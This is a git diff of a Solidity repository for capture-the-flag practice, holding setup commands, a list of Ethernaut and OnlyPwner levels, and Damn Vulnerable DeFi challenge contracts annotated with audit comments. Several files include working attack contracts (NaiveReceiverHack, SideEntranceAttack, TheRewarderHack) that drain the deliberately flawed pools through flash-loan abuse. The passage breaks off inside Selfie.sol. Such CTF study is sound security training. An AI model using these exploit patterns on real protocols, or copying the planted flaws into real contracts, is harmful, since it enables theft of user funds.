cd foundry/lib/openzeppelin-contracts-upgradeable-v4.7.1 && git checkout tags/v4.7.1 + +git rm --cached foundry/lib/openzeppelin-contracts-v4.7.1 + +git submodule add https://github.com/OpenZeppelin/openzeppelin-contracts foundry/lib/openzeppelin-contracts-v4.7.1 + +git submodule add https://github.com/OpenZeppelin/openzeppelin-contracts-upgradeable foundry/lib/openzeppelin-contracts-upgradeable-v4.7.1 + +git submodule add https://github.com/safe-global/safe-contracts foundry/lib/safe-contracts-v1.3.0 + + + +git submodule add https://github.com/foundry-rs/forge-std foundry/lib/@dev/forge-std +git submodule add https://github.com/PaulRBerg/prb-test foundry/lib/@dev/prb-test +git submodule add https://github.com/dapphub/ds-test foundry/lib/@dev/ds-test + + +git submodule add https://github.com/Uniswap/v2-core foundry/lib/@uniswap/v2-core +git submodule add https://github.com/Uniswap/v2-periphery foundry/lib/@uniswap/v2-periphery + +git submodule add https://github.com/Uniswap/v3-core foundry/lib/@uniswap/v3-core +git submodule add https://github.com/Uniswap/v3-periphery foundry/lib/@uniswap/v3-periphery + +git submodule add https://github.com/Uniswap/v4-core foundry/lib/@uniswap/v4-core +git submodule add https://github.com/Uniswap/v4-periphery foundry/lib/@uniswap/v4-periphery + +git submodule add https://github.com/safe-global/safe-contracts foundry/lib/@gnosis.pm/safe-contracts +git submodule add https://github.com/safe-global/safe-contracts foundry/lib/@gnosis.pm/safe-contracts-v1.3.0 +# cd foundry/lib/@gnosis.pm/safe-contracts-v1.3.0 && git checkout tags/v1.3.0 + +git submodule add https://github.com/OpenZeppelin/openzeppelin-contracts foundry/lib/@openzeppelin/contracts +git submodule add https://github.com/OpenZeppelin/openzeppelin-contracts foundry/lib/@openzeppelin/contracts-v4.7.1 +# cd foundry/lib/@openzeppelin/contracts-v4.7.1 && git checkout tags/v4.7.1 +git submodule add https://github.com/OpenZeppelin/openzeppelin-contracts foundry/lib/@openzeppelin/contracts-v4.7.3 +# cd foundry/lib/@openzeppelin/contracts-v4.7.3 && git checkout tags/v4.7.3 + + +git submodule add https://github.com/OpenZeppelin/openzeppelin-contracts-upgradeable foundry/lib/@openzeppelin/contracts-upgradeable +git submodule add https://github.com/OpenZeppelin/openzeppelin-contracts-upgradeable foundry/lib/@openzeppelin/contracts-upgradeable-v4.7.1 +# cd foundry/lib/@openzeppelin/contracts-upgradeable-v4.7.1 && git checkout tags/v4.7.1 + +git submodule add https://github.com/transmissions11/solmate + + + +rm -rf .git/modules/foundry/lib/@dev/ds-test +git submodule deinit -f foundry/lib/@dev/ds-test +git rm --cached -r foundry/lib/@dev/ds-test +rm -rf foundry/lib/@dev/ds-test + + +forge install safe-global/safe-contracts --no-commit + +``` + +```bash +# run test case +forge test + +# run local node +anvil -f sepolia + +# run script +forge script foundry/script/Deploy.s.sol --fork-url http://localhost:8545 --broadcast +``` + +## Ethernaut + +Ethernaut is a Web3 / Solidity based adversarial game inspired by overthewire.org, running on the Ethernaut virtual +machine. Each level is a smart contract that needs to be hacked. + +| Status | Level | + + Docs | Video | Note | + +| :----: | :------------------------------------------------------------------------------------------------------- | +| :----------------------------------------------------------------------------------------------------------------: | ---------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------- | --- | --- | +| :----------------------------------------------------------------------------------------------------------------: | +| :--: | | ✅ | [0.Hello Ethernaut](https://ethernaut.openzeppelin.com/level/0x7E0f53981657345B31C59aC44e9c21631Ce710c7) | +| ... | [YouTube](https://www.youtube.com/watch?v=BE0J7I13CPo) 、[BILIBILI](https://www.bilibili.com/video/BV1GV411w7bk) | +| ... | | ✅ | [1.Fallback](https://ethernaut.openzeppelin.com/level/0x3c34A342b2aF5e885FcaA3800dB5B205fEfa3ffB) | +| [Mirror](https://mirror.xyz/leekdev.eth/fQn4QQF3iIwhOdolLmQpTTB5M7R9RWcvFaRFLdTodPM) | +| [YouTube](https://www.youtube.com/watch?v=6SZcd4bbTjQ) 、[BILIBILI](https://www.bilibili.com/video/BV1qu411u7Rn) | ... | +| ✅ | [2.Fallout](https://ethernaut.openzeppelin.com/level/0x676e57FdBbd8e5fE1A7A3f4Bb1296dAC880aa639) | +| [Mirror](https://mirror.xyz/leekdev.eth/GuFMbyyOnKqJOp49vRugrk_EWr2-JUIc9y-kJVWONeg) | +| [YouTube](https://www.youtube.com/watch?v=Q2EYC1a4VVM) 、 [BILIBILI](https://www.bilibili.com/video/BV1TC4y1o7Up/) | ... | +| | | [3.CoinFlip](https://ethernaut.openzeppelin.com/level/0xA62fE5344FE62AdC1F356447B669E9E6D10abaaF) | ... | ... | +| ... | | | [4.Telephone](https://ethernaut.openzeppelin.com/level/0x2C2307bb8824a0AbBf2CC7D76d8e63374D2f8446) | ... | ... | +| ... | | | [5.Token](https://ethernaut.openzeppelin.com/level/0x478f3476358Eb166Cb7adE4666d04fbdDB56C407) | ... | ... | +| ... | | | [6.Delegate](https://ethernaut.openzeppelin.com/level/0x73379d8B82Fda494ee59555f333DF7D44483fD58) | ... | ... | +| ... | | | [7.Force](https://ethernaut.openzeppelin.com/level/0xb6c2Ec883DaAac76D8922519E63f875c2ec65575) | ... | ... | +| ... | | | [8.Vault](https://ethernaut.openzeppelin.com/level/0xB7257D8Ba61BD1b3Fb7249DCd9330a023a5F3670) | ... | ... | +| ... | | | [9.King](https://ethernaut.openzeppelin.com/level/0x3049C00639E6dfC269ED1451764a046f7aE500c6) | ... | ... | +| ... | | | [10.Reentrance](https://ethernaut.openzeppelin.com/level/0x2a24869323C0B13Dff24E196Ba072dC790D52479) | ... | +| ... | ... | + +## [ONLYPWNER CTF](https://onlypwner.xyz) + +ELEVATE YOUR EVM EXPERTISE WITH HANDS-ON CHALLENGES, COMPETE ON THE LEADERBOARD, AND JOIN A COMMUNITY OF SECURITY +RESEARCHERS AND ENTHUSIASTS. + +| Status | Level | Docs | Video | Note | +| :----: | :------------------------------------------------------- | :--: | :---: | :--: | +| ✅ | [1.FREEBIE](https://onlypwner.xyz/challenges/5) | ... | ... | ... | +| | [2.TUTORIAL](https://onlypwner.xyz/challenges/1) | ... | ... | ... | +| | [3.REVERSE RUGPULL](https://onlypwner.xyz/challenges/7) | ... | ... | ... | +| | [4.UNDER THE FLOW](https://onlypwner.xyz/challenges/9) | ... | ... | ... | +| | [5.WRAPPED ETHER](https://onlypwner.xyz/challenges/12) | ... | ... | ... | +| | [6.ALL OR NOTHING](https://onlypwner.xyz/challenges/10) | ... | ... | ... | +| | [7.PLEASE SIGN HERE](https://onlypwner.xyz/challenges/6) | ... | ... | ... | +| | [8.BRIDGE TAKEOVER](https://onlypwner.xyz/challenges/3) | ... | ... | ... | +| | [9.SHAPESHIFTER](https://onlypwner.xyz/challenges/8) | ... | ... | ... | +| | [10.13TH AIRDROP](https://onlypwner.xyz/challenges/2) | ... | ... | ... | +| | [11.DIVERSION](https://onlypwner.xyz/challenges/4) | ... | ... | ... | +| | [12.PAYDAY](https://onlypwner.xyz/challenges/11) | ... | ... | ... | + +https://tokenhouse.github.io/solhint/rules.html diff --git a/contracts/CTF/Damn-Vulnerable-DeFi/00.Base/DamnValuableNFT.sol b/contracts/CTF/Damn-Vulnerable-DeFi/00.Base/DamnValuableNFT.sol new file mode 100644 index 0000000..9430bfd --- /dev/null +++ b/contracts/CTF/Damn-Vulnerable-DeFi/00.Base/DamnValuableNFT.sol @@ -0,0 +1,27 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import { ERC721 } from "@openzeppelin/contracts-v4.7.1/token/ERC721/ERC721.sol"; +import { ERC721Burnable } from "@openzeppelin/contracts-v4.7.1/token/ERC721/extensions/ERC721Burnable.sol"; +import { OwnableRoles } from "@solady/auth/OwnableRoles.sol"; + +/** + * @title DamnValuableNFT + * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz) + * @notice Implementation of a mintable and burnable NFT with role-based access controls + */ +contract DamnValuableNFT is ERC721, ERC721Burnable, OwnableRoles { + uint256 public constant MINTER_ROLE = _ROLE_0; + uint256 public tokenIdCounter; + + constructor() ERC721("DamnValuableNFT", "DVNFT") { + _initializeOwner(msg.sender); + _grantRoles(msg.sender, MINTER_ROLE); + } + + function safeMint(address to) public onlyRoles(MINTER_ROLE) returns (uint256 tokenId) { + tokenId = tokenIdCounter; + _safeMint(to, tokenId); + ++tokenIdCounter; + } +} diff --git a/contracts/CTF/Damn-Vulnerable-DeFi/00.Base/DamnValuableToken.sol b/contracts/CTF/Damn-Vulnerable-DeFi/00.Base/DamnValuableToken.sol new file mode 100644 index 0000000..2e52d50 --- /dev/null +++ b/contracts/CTF/Damn-Vulnerable-DeFi/00.Base/DamnValuableToken.sol @@ -0,0 +1,14 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import { ERC20 } from "@solmate/tokens/ERC20.sol"; + +/** + * @title DamnValuableToken + * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz) + */ +contract DamnValuableToken is ERC20 { + constructor() ERC20("DamnValuableToken", "DVT", 18) { + _mint(msg.sender, type(uint256).max); + } +} diff --git a/contracts/CTF/Damn-Vulnerable-DeFi/00.Base/DamnValuableTokenSnapshot.sol b/contracts/CTF/Damn-Vulnerable-DeFi/00.Base/DamnValuableTokenSnapshot.sol new file mode 100644 index 0000000..493b5c6 --- /dev/null +++ b/contracts/CTF/Damn-Vulnerable-DeFi/00.Base/DamnValuableTokenSnapshot.sol @@ -0,0 +1,31 @@ +// SPDX-License-Identifier: MIT + +pragma solidity ^0.8.0; + +import { ERC20Snapshot, ERC20 } from "@openzeppelin/contracts-v4.7.1/token/ERC20/extensions/ERC20Snapshot.sol"; + +/** + * @title DamnValuableTokenSnapshot + * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz) + */ +contract DamnValuableTokenSnapshot is ERC20Snapshot { + uint256 private _lastSnapshotId; + + constructor(uint256 initialSupply) ERC20("DamnValuableToken", "DVT") { + _mint(msg.sender, initialSupply); + } + + // @audit-issue no access control, anyone can take a snapshot + function snapshot() public returns (uint256 lastSnapshotId) { + lastSnapshotId = _snapshot(); + _lastSnapshotId = lastSnapshotId; + } + + function getBalanceAtLastSnapshot(address account) external view returns (uint256) { + return balanceOfAt(account, _lastSnapshotId); + } + + function getTotalSupplyAtLastSnapshot() external view returns (uint256) { + return totalSupplyAt(_lastSnapshotId); + } +} diff --git a/contracts/CTF/Damn-Vulnerable-DeFi/01.Unstoppable.sol b/contracts/CTF/Damn-Vulnerable-DeFi/01.Unstoppable.sol new file mode 100644 index 0000000..e405767 --- /dev/null +++ b/contracts/CTF/Damn-Vulnerable-DeFi/01.Unstoppable.sol @@ -0,0 +1,180 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import { Owned } from "@solmate/auth/Owned.sol"; +import { FixedPointMathLib } from "@solmate/utils/FixedPointMathLib.sol"; +import { ReentrancyGuard } from "@solmate/utils/ReentrancyGuard.sol"; +import { SafeTransferLib, ERC4626, ERC20 } from "@solmate/mixins/ERC4626.sol"; +import { IERC3156FlashBorrower, IERC3156FlashLender } from "@openzeppelin/contracts-v4.7.1/interfaces/IERC3156.sol"; + +/** + * @title UnstoppableVault + * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz) + */ + +contract UnstoppableVault is IERC3156FlashLender, ReentrancyGuard, Owned, ERC4626 { + using SafeTransferLib for ERC20; + using FixedPointMathLib for uint256; + + uint256 public constant FEE_FACTOR = 0.05 ether; + uint64 public constant GRACE_PERIOD = 30 days; + + uint64 public immutable end = uint64(block.timestamp) + GRACE_PERIOD; + + address public feeRecipient; + + error InvalidAmount(uint256 amount); + error InvalidBalance(); + error CallbackFailed(); + error UnsupportedCurrency(); + + event FeeRecipientUpdated(address indexed newFeeRecipient); + + constructor( + ERC20 _token, + address _owner, + address _feeRecipient + ) + ERC4626(_token, "Oh Damn Valuable Token", "oDVT") + Owned(_owner) + { + feeRecipient = _feeRecipient; + emit FeeRecipientUpdated(_feeRecipient); + } + + /** + * @inheritdoc IERC3156FlashLender + */ + function maxFlashLoan(address _token) public view returns (uint256) { + if (address(asset) != _token) { + return 0; + } + + return totalAssets(); + } + + /** + * @inheritdoc IERC3156FlashLender + */ + function flashFee(address _token, uint256 _amount) public view returns (uint256 fee) { + if (address(asset) != _token) { + revert UnsupportedCurrency(); + } + + if (block.timestamp < end && _amount < maxFlashLoan(_token)) { + return 0; + } else { + return _amount.mulWadUp(FEE_FACTOR); + } + } + + function setFeeRecipient(address _feeRecipient) external onlyOwner { + if (_feeRecipient != address(this)) { + feeRecipient = _feeRecipient; + emit FeeRecipientUpdated(_feeRecipient); + } + } + + /** + * @inheritdoc ERC4626 + */ + function totalAssets() public view override returns (uint256) { + assembly { + // better safe than sorry + if eq(sload(0), 2) { + mstore(0x00, 0xed3ba6a6) + revert(0x1c, 0x04) + } + } + return asset.balanceOf(address(this)); + } + + /** + * @inheritdoc IERC3156FlashLender + */ + function flashLoan( + IERC3156FlashBorrower receiver, + address _token, + uint256 amount, + bytes calldata data + ) + external + returns (bool) + { + // @audit-info validation for amount and _token + if (amount == 0) revert InvalidAmount(0); // fail early + if (address(asset) != _token) revert UnsupportedCurrency(); // enforce ERC3156 requirement + + // @audit-info accounting check + uint256 balanceBefore = totalAssets(); + // convertToShares(totalSupply) = 1 + if (convertToShares(totalSupply) != balanceBefore) revert InvalidBalance(); // enforce ERC4626 requirement + + // @audit-info calculate fee and trasnfer tokens + uint256 fee = flashFee(_token, amount); + // transfer tokens out + execute callback on receiver + ERC20(_token).safeTransfer(address(receiver), amount); + + // @audit-info execute receiver callback, and validate interface / hash + // callback must return magic value, otherwise assume it failed + if ( + receiver.onFlashLoan(msg.sender, address(asset), amount, fee, data) + != keccak256("IERC3156FlashBorrower.onFlashLoan") + ) { + revert CallbackFailed(); + } + + // pull amount + fee from receiver, then pay the fee to the recipient + ERC20(_token).safeTransferFrom(address(receiver), address(this), amount + fee); + ERC20(_token).safeTransfer(feeRecipient, fee); + return true; + } + + /** + * @inheritdoc ERC4626 + */ + function beforeWithdraw(uint256 assets, uint256 shares) internal override nonReentrant { } + + /** + * @inheritdoc ERC4626 + */ + function afterDeposit(uint256 assets, uint256 shares) internal override nonReentrant { } +} + +/** + * @title ReceiverUnstoppable + * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz) + */ +contract ReceiverUnstoppable is Owned, IERC3156FlashBorrower { + UnstoppableVault private immutable pool; + + error UnexpectedFlashLoan(); + + constructor(address poolAddress) Owned(msg.sender) { + pool = UnstoppableVault(poolAddress); + } + + function onFlashLoan( + address initiator, + address token, + uint256 amount, + uint256 fee, + bytes calldata + ) + external + returns (bytes32) + { + if (initiator != address(this) || msg.sender != address(pool) || token != address(pool.asset()) || fee != 0) { + revert UnexpectedFlashLoan(); + } + + ERC20(token).approve(address(pool), amount); + + return keccak256("IERC3156FlashBorrower.onFlashLoan"); + } + + function executeFlashLoan(uint256 amount) external onlyOwner { + address asset = address(pool.asset()); + pool.flashLoan(this, asset, amount, bytes("")); + } +} diff --git a/contracts/CTF/Damn-Vulnerable-DeFi/02.Naive-Receiver.sol b/contracts/CTF/Damn-Vulnerable-DeFi/02.Naive-Receiver.sol new file mode 100644 index 0000000..be3af19 --- /dev/null +++ b/contracts/CTF/Damn-Vulnerable-DeFi/02.Naive-Receiver.sol @@ -0,0 +1,145 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import { SafeTransferLib } from "@solady/utils/SafeTransferLib.sol"; +import { ReentrancyGuard } from "@openzeppelin/contracts-v4.7.1/security/ReentrancyGuard.sol"; +import { IERC3156FlashBorrower, IERC3156FlashLender } from "@openzeppelin/contracts-v4.7.1/interfaces/IERC3156.sol"; + +/** + * @title FlashLoanReceiver + * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz) + */ + +contract FlashLoanReceiver is IERC3156FlashBorrower { + address private pool; + address private constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; + + error UnsupportedCurrency(); + + constructor(address _pool) { + pool = _pool; + } + + // @audit + // @audit-ok + // @audit-check + // @audit-issue + // @audit-info + // @audit-submitted + function onFlashLoan( + address, + address token, + uint256 amount, + uint256 fee, + bytes calldata + ) + external + returns (bytes32) + { + assembly { + // gas savings + if iszero(eq(sload(pool.slot), caller())) { + mstore(0x00, 0x48f5c3ed) + revert(0x1c, 0x04) + } + } + + if (token != ETH) { + revert UnsupportedCurrency(); + } + + uint256 amountToBeRepaid; + unchecked { + amountToBeRepaid = amount + fee; + } + + _executeActionDuringFlashLoan(); + + // Return funds to pool + SafeTransferLib.safeTransferETH(pool, amountToBeRepaid); + + return keccak256("ERC3156FlashBorrower.onFlashLoan"); + } + + // Internal function where the funds received would be used + function _executeActionDuringFlashLoan() internal { } + + // Allow deposits of ETH + receive() external payable { } +} +/** + * @title NaiveReceiverLenderPool + * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz) + */ + +contract NaiveReceiverLenderPool is ReentrancyGuard, IERC3156FlashLender { + address public constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; + uint256 public constant FIXED_FEE = 1 ether; // not the cheapest flash loan + bytes32 public constant CALLBACK_SUCCESS = keccak256("ERC3156FlashBorrower.onFlashLoan"); + + error RepayFailed(); + error UnsupportedCurrency(); + error CallbackFailed(); + + function maxFlashLoan(address token) external view returns (uint256) { + if (token == ETH) { + return address(this).balance; + } + return 0; + } + + function flashFee(address token, uint256) external pure returns (uint256) { + if (token != ETH) { + revert UnsupportedCurrency(); + } + return FIXED_FEE; + } + + function flashLoan( + IERC3156FlashBorrower receiver, + address token, + uint256 amount, + bytes calldata data + ) + external + returns (bool) + { + if (token != ETH) { + revert UnsupportedCurrency(); + } + + uint256 balanceBefore = address(this).balance; + + // Transfer ETH and handle control to receiver + SafeTransferLib.safeTransferETH(address(receiver), amount); + if (receiver.onFlashLoan(msg.sender, ETH, amount, FIXED_FEE, data) != CALLBACK_SUCCESS) { + revert CallbackFailed(); + } + + if (address(this).balance < balanceBefore + FIXED_FEE) { + revert RepayFailed(); + } + + return true; + } + + // Allow deposits of ETH + receive() external payable { } +} + +contract NaiveReceiverHack { + address private constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; + NaiveReceiverLenderPool pool; + FlashLoanReceiver receiver; + + constructor(address payable _pool, address payable _receiver) { + pool = NaiveReceiverLenderPool(_pool); + receiver = FlashLoanReceiver(_receiver); + } + + function attack() public { + for (uint256 i = 0; i < 10; i++) { + pool.flashLoan(receiver, ETH, 0, "0x"); + } + } +} diff --git a/contracts/CTF/Damn-Vulnerable-DeFi/03.Truster.sol b/contracts/CTF/Damn-Vulnerable-DeFi/03.Truster.sol new file mode 100644 index 0000000..bba0305 --- /dev/null +++ b/contracts/CTF/Damn-Vulnerable-DeFi/03.Truster.sol @@ -0,0 +1,47 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import { Address } from "@openzeppelin/contracts-v4.7.1/utils/Address.sol"; +import { ReentrancyGuard } from "@openzeppelin/contracts-v4.7.1/security/ReentrancyGuard.sol"; +import { DamnValuableToken } from "@contracts/CTF/Damn-Vulnerable-DeFi/00.Base/DamnValuableToken.sol"; + +/** + * @title TrusterLenderPool + * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz) + */ + +contract TrusterLenderPool is ReentrancyGuard { + using Address for address; + + DamnValuableToken public immutable token; + + error RepayFailed(); + + constructor(DamnValuableToken _token) { + token = _token; + } + + function flashLoan( + uint256 amount, + address borrower, + address target, + bytes calldata data + ) + external + nonReentrant + returns (bool) + { + uint256 balanceBefore = token.balanceOf(address(this)); + + token.transfer(borrower, amount); + + // @audit-issue Execute abitraty call to any contract on behald of the pool + target.functionCall(data); + + if (token.balanceOf(address(this)) < balanceBefore) { + revert RepayFailed(); + } + + return true; + } +} diff --git a/contracts/CTF/Damn-Vulnerable-DeFi/04.Side-Entrance.sol b/contracts/CTF/Damn-Vulnerable-DeFi/04.Side-Entrance.sol new file mode 100644 index 0000000..5fc31b1 --- /dev/null +++ b/contracts/CTF/Damn-Vulnerable-DeFi/04.Side-Entrance.sol @@ -0,0 +1,69 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +interface IFlashLoanEtherReceiver { + function execute() external payable; +} + +/** + * @title SideEntranceLenderPool + * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz) + */ +contract SideEntranceLenderPool { + mapping(address => uint256) private balances; + + error RepayFailed(); + + event Deposit(address indexed who, uint256 amount); + event Withdraw(address indexed who, uint256 amount); + + function deposit() external payable { + unchecked { + balances[msg.sender] += msg.value; + } + emit Deposit(msg.sender, msg.value); + } + + function withdraw() external { + uint256 amount = balances[msg.sender]; + + delete balances[msg.sender]; + emit Withdraw(msg.sender, amount); + (bool isSuccess,) = msg.sender.call{ value: amount }(""); + require(isSuccess, ""); + } + + function flashLoan(uint256 amount) external { + uint256 balanceBefore = address(this).balance; + + IFlashLoanEtherReceiver(msg.sender).execute{ value: amount }(); + + if (address(this).balance < balanceBefore) { + revert RepayFailed(); + } + } +} + +contract SideEntranceAttack { + SideEntranceLenderPool immutable pool; + address immutable player; + + constructor(address _pool, address _player) { + pool = SideEntranceLenderPool(_pool); + player = _player; + } + + function attack() external { + pool.flashLoan(address(pool).balance); + pool.withdraw(); + (bool isSuccess,) = player.call{ value: address(this).balance }(""); + require(isSuccess, "SideEntranceAttack attack"); + } + + function execute() external payable { + require(msg.sender == address(pool), "msg.sender"); + pool.deposit{ value: msg.value }(); + } + + receive() external payable { } +} diff --git a/contracts/CTF/Damn-Vulnerable-DeFi/05.The-Rewarder.sol b/contracts/CTF/Damn-Vulnerable-DeFi/05.The-Rewarder.sol new file mode 100644 index 0000000..2ec2fec --- /dev/null +++ b/contracts/CTF/Damn-Vulnerable-DeFi/05.The-Rewarder.sol @@ -0,0 +1,220 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import { OwnableRoles } from "@solady/auth/OwnableRoles.sol"; +import { FixedPointMathLib } from "@solady/utils/FixedPointMathLib.sol"; +import { SafeTransferLib } from "@solady/utils/SafeTransferLib.sol"; + +import { ERC20 } from "@openzeppelin/contracts-v4.7.1/token/ERC20/ERC20.sol"; +import { Address } from "@openzeppelin/contracts-v4.7.1/utils/Address.sol"; +import { ERC20Snapshot } from "@openzeppelin/contracts-v4.7.1/token/ERC20/extensions/ERC20Snapshot.sol"; +import { ReentrancyGuard } from "@openzeppelin/contracts-v4.7.1/security/ReentrancyGuard.sol"; + +import { DamnValuableToken } from "@contracts/CTF/Damn-Vulnerable-DeFi/00.Base/DamnValuableToken.sol"; + +contract RewardToken is ERC20, OwnableRoles { + uint256 public constant MINTER_ROLE = _ROLE_0; + + constructor() ERC20("Reward Token", "RWT") { + _initializeOwner(msg.sender); + _grantRoles(msg.sender, MINTER_ROLE); + } + + function mint(address to, uint256 amount) external onlyRoles(MINTER_ROLE) { + _mint(to, amount); + } +} + +contract AccountingToken is ERC20Snapshot, OwnableRoles { + uint256 public constant MINTER_ROLE = _ROLE_0; + uint256 public constant SNAPSHOT_ROLE = _ROLE_1; + uint256 public constant BURNER_ROLE = _ROLE_2; + + error NotImplemented(); + + constructor() ERC20("rToken", "rTKN") { + _initializeOwner(msg.sender); + _grantRoles(msg.sender, MINTER_ROLE | SNAPSHOT_ROLE | BURNER_ROLE); + } + + function mint(address to, uint256 amount) external onlyRoles(MINTER_ROLE) { + _mint(to, amount); + } + + function burn(address from, uint256 amount) external onlyRoles(BURNER_ROLE) { + _burn(from, amount); + } + + function snapshot() external onlyRoles(SNAPSHOT_ROLE) returns (uint256) { + return _snapshot(); + } + + function _transfer(address, address, uint256) internal pure override { + revert NotImplemented(); + } + + function _approve(address, address, uint256) internal pure override { + revert NotImplemented(); + } +} + +contract FlashLoanerPool is ReentrancyGuard { + using Address for address; + + ERC20 public immutable liquidityToken; + + error NotEnoughTokenBalance(); + error CallerIsNotContract(); + error FlashLoanNotPaidBack(); + + constructor(address liquidityTokenAddress) { + liquidityToken = ERC20(liquidityTokenAddress); + } + + function flashLoan(uint256 amount) external nonReentrant { + uint256 balanceBefore = liquidityToken.balanceOf(address(this)); + + if (amount > balanceBefore) { + revert NotEnoughTokenBalance(); + } + + // @audit-issue can be bypassed if we call it from a constructor + if (!msg.sender.isContract()) { + revert CallerIsNotContract(); + } + + liquidityToken.transfer(msg.sender, amount); + + msg.sender.functionCall(abi.encodeWithSignature("receiveFlashLoan(uint256)", amount)); + + if (liquidityToken.balanceOf(address(this)) < balanceBefore) { + revert FlashLoanNotPaidBack(); + } + } +} + +contract TheRewarderPool { + using FixedPointMathLib for uint256; + + // Minimum duration of each round of rewards in seconds + uint256 private constant REWARDS_ROUND_MIN_DURATION = 5 days; + + uint256 public constant REWARDS = 100 ether; + + // Token deposited into the pool by users + address public immutable liquidityToken; + + // Token used for internal accounting and snapshots + // Pegged 1:1 with the liquidity token + AccountingToken public immutable accountingToken; + + // Token in which rewards are issued + RewardToken public immutable rewardToken; + + uint128 public lastSnapshotIdForRewards; + uint64 public lastRecordedSnapshotTimestamp; + uint64 public roundNumber; // Track number of rounds + mapping(address => uint64) public lastRewardTimestamps; + + error InvalidDepositAmount(); + + constructor(address _token) { + // Assuming all tokens have 18 decimals + liquidityToken = _token; + accountingToken = new AccountingToken(); + rewardToken = new RewardToken(); + + _recordSnapshot(); + } + + /** + * @notice Deposit `amount` liquidity tokens into the pool, minting accounting tokens in exchange. + * Also distributes rewards if available. + * @param amount amount of tokens to be deposited + */ + function deposit(uint256 amount) external { + if (amount == 0) { + revert InvalidDepositAmount(); + } + + accountingToken.mint(msg.sender, amount); + distributeRewards(); + + SafeTransferLib.safeTransferFrom(liquidityToken, msg.sender, address(this), amount); + } + + function withdraw(uint256 amount) external { + accountingToken.burn(msg.sender, amount); + SafeTransferLib.safeTransfer(liquidityToken, msg.sender, amount); + } + + function distributeRewards() public returns (uint256 rewards) { + if (isNewRewardsRound()) { + _recordSnapshot(); + } + + uint256 totalDeposits = accountingToken.totalSupplyAt(lastSnapshotIdForRewards); + uint256 amountDeposited = accountingToken.balanceOfAt(msg.sender, lastSnapshotIdForRewards); + + if (amountDeposited > 0 && totalDeposits > 0) { + // @audit-issue doesn't take into consideration deposited time + rewards = amountDeposited.mulDiv(REWARDS, totalDeposits); + if (rewards > 0 && !_hasRetrievedReward(msg.sender)) { + // @audit-issue no CEI + rewardToken.mint(msg.sender, rewards); + lastRewardTimestamps[msg.sender] = uint64(block.timestamp); + } + } + } + + function _recordSnapshot() private { + lastSnapshotIdForRewards = uint128(accountingToken.snapshot()); + lastRecordedSnapshotTimestamp = uint64(block.timestamp); + unchecked { + ++roundNumber; + } + } + + function _hasRetrievedReward(address account) private view returns (bool) { + return ( + lastRewardTimestamps[account] >= lastRecordedSnapshotTimestamp + && lastRewardTimestamps[account] <= lastRecordedSnapshotTimestamp + REWARDS_ROUND_MIN_DURATION + ); + } + + function isNewRewardsRound() public view returns (bool) { + return block.timestamp >= lastRecordedSnapshotTimestamp + REWARDS_ROUND_MIN_DURATION; + } +} + +contract TheRewarderHack { + FlashLoanerPool private flashLoanPool; + TheRewarderPool private pool; + DamnValuableToken private dvt; + RewardToken private reward; + address internal player; + + constructor(address _flashloan, address _pool, address _dvt, address _reward) { + flashLoanPool = FlashLoanerPool(_flashloan); + pool = TheRewarderPool(_pool); + dvt = DamnValuableToken(_dvt); + reward = RewardToken(_reward); + player = msg.sender; + } + + function attack() external { + flashLoanPool.flashLoan(dvt.balanceOf(address(flashLoanPool))); + } + + function receiveFlashLoan(uint256 amount) external { + dvt.approve(address(pool), amount); + // deposit liquidity token get reward token + pool.deposit(amount); + // withdraw liquidity token + pool.withdraw(amount); + // repay to flashloan + dvt.transfer(address(flashLoanPool), amount); + uint256 rewardBalance = reward.balanceOf(address(this)); + reward.transfer(player, rewardBalance); + } +} diff --git a/contracts/CTF/Damn-Vulnerable-DeFi/06.Selfie.sol b/contracts/CTF/Damn-Vulnerable-DeFi/06.Selfie.sol new file mode 100644 index 0000000..a701fa9 --- /dev/null +++ b/contracts/CTF/Damn-Vulnerable-DeFi/06.Selfie.sol @@ -0,0 +1,249 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import { ERC20Snapshot } from "@openzeppelin/contracts-v4.7.1/token/ERC20/extensions/ERC20Snapshot.sol"; +import { ReentrancyGuard } from "@openzeppelin/contracts-v4.7.1/security/ReentrancyGuard.sol"; +import { IERC3156FlashLender } from "@openzeppelin/contracts-v4.7.1/interfaces/IERC3156FlashLender.sol"; +import { IERC3156FlashBorrower } from "@openzeppelin/contracts-v4.7.1/interfaces/IERC3156FlashBorrower.sol"; +import { DamnValuableTokenSnapshot } from "@contracts/CTF/Damn-Vulnerable-DeFi/00.Base/DamnValuableTokenSnapshot.sol"; + +contract SelfiePool is ReentrancyGuard, IERC3156FlashLender { + ERC20Snapshot public immutable token; + SimpleGovernance public immutable governance; + bytes32 private constant CALLBACK_SUCCESS = keccak256("ERC3156FlashBorrower.onFlashLoan"); + + error RepayFailed(); + error CallerNotGovernance(); + error UnsupportedCurrency(); + error CallbackFailed(); + + event FundsDrained(address indexed receiver, uint256 amount); + + modifier onlyGovernance() { + if (msg.sender != address(governance)) { + revert CallerNotGovernance(); + } + _; + } + + constructor(address _token, address _governance) { + token = ERC20Snapshot(_token); + governance = SimpleGovernance(_governance); + } + + function maxFlashLoan(address _token) external view returns (uint256) { + if (address(token) == _token) { + return token.balanceOf(address(this)); + } + return 0; + } + + function flashFee(address _token, uint256) external view returns (uint256) { + if 